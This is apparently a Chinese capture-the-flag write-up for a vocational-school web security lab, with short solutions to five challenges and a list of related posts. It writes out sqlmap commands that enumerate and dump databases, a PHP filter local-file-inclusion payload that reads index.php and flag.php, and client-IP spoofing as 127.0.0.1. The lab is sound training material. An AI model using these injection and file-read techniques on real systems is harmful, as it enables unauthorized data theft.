PYsystem003 中职网络安全

1ip/1

F12被禁用，有两种解法

解法一：进入第二题，F12，

F12不退，换回第一题

解法二：新建网址，查看网页源代码

Flag{fc35fdc70d5fc69d269883a822c7a53e}

2.ip/2

直接sqlmap –u 网址 –forms –dbs

发现mysql数据库

sqlmap -u 网址--forms -D mysql --tables

sqlmap –u 网址 --forms -D mysql -T 'comehere!!!' --dump

3.ip/3

看到这里在后面添加后缀 robots.txt试一试

4.ip/4

本地用户ip：127.0.0.1

抓包

flag{c71b47723409ac75d3e6b28f78b372ce}

5.ip/5

http://172.16.103.250/5/?file=php://filter/read=convert.base64-encode/resource=index.php

看到flag.php , 修改网址后缀

http://172.16.103.250/5/?file=php://filter/read=convert.base64-encode/resource=flag.php

修改之后会发现第二个base64码，echo 破解 得flag

PYsystem003 中职网络安全相关推荐

中职网络安全—隐藏信息探索
隐藏信息探索 1.访问服务器的FTP服务,下载图片QR,从图片中获取flag,并将flag提交: 通过windows电脑自带的图片编辑工具"图画"将打乱的二维码分割成四个部分然 ...
中职网络安全隐藏信息探索思路以及讲解
1.通过本地PC中渗透测试平台Kali对服务器场景Ubuntu中的网站进行访问,找到登录界面中的FLAG,并将FLAG提交: 打开网页进来是一个登录界面,但是上面并没有什么,直接CTRL+U或者F12 ...
2023中职网络安全竞赛Web安全应用任务解析答案
Web安全应用任务环境说明: 服务器场景:match_win03-4-1(关闭链接) 服务器场景操作系统:Windows Server 2003 使用渗透机Kali Linux,访问靶机FTP服务, ...
2023湖南省中职网络安全任务书
需要环境私 A-1:登录安全加固任务环境说明: ü 服务器场景:LOG:(开放链接) ü 用户名:root密码:root ü 服务器场景:Web:(开放链接) ü 用户名:administrator ...
中职网络安全操作系统渗透
任务十:系统漏洞利用与提权任务环境说明: √ 服务器场景:PYsystem0033 √ 服务器场景操作系统:Ubuntu (关闭链接) 1. 使用nmap扫描靶机系统,将靶机开放的端口号按从小到大的 ...
中职网络安全2021年国赛Wireshark流量分析题目解析
1.使用Wireshark查看并分析靶机桌面下的capture.pcapng数据包文件,找到黑客的IP地址,并将黑客的IP地址作为Flag值(如:172.16.1.1)提交: 这个找黑客ip地址不用多 ...
中职网络安全竞赛B模块新题
要环境私信博主竞赛群:421865857 木马信息获取任务环境说明: 从靶机服务器的FTP上下载0077.pcap,分析该文件,找出黑客入侵使用的协议,提交协议名称. 分析该文件,找出黑客入侵获取 ...
“磐云杯”中职网络安全技能大赛A模块新题
Windows 在系统中查看软件授权服务器版本,将查询到的信息窗口截图: 在系统中设置Telnet,设置Telnet最大连接数不超过3,将登录超出的信息窗口及过程截图; 在系统中设置Telnet,设置 ...
2022全国中职网络安全比赛正式赛题
正式赛题,答案和解析可能有误,勿喷!!! B-1 任务一:主机发现与信息收集 *任务说明:仅能获取 Server1 的 IP 地址 1.在 Kali 中使用 Nmap 工具查看本地路由与接口,并将该操 ...

PYsystem003 中职网络安全

PYsystem003 中职网络安全相关推荐

最新文章

热门文章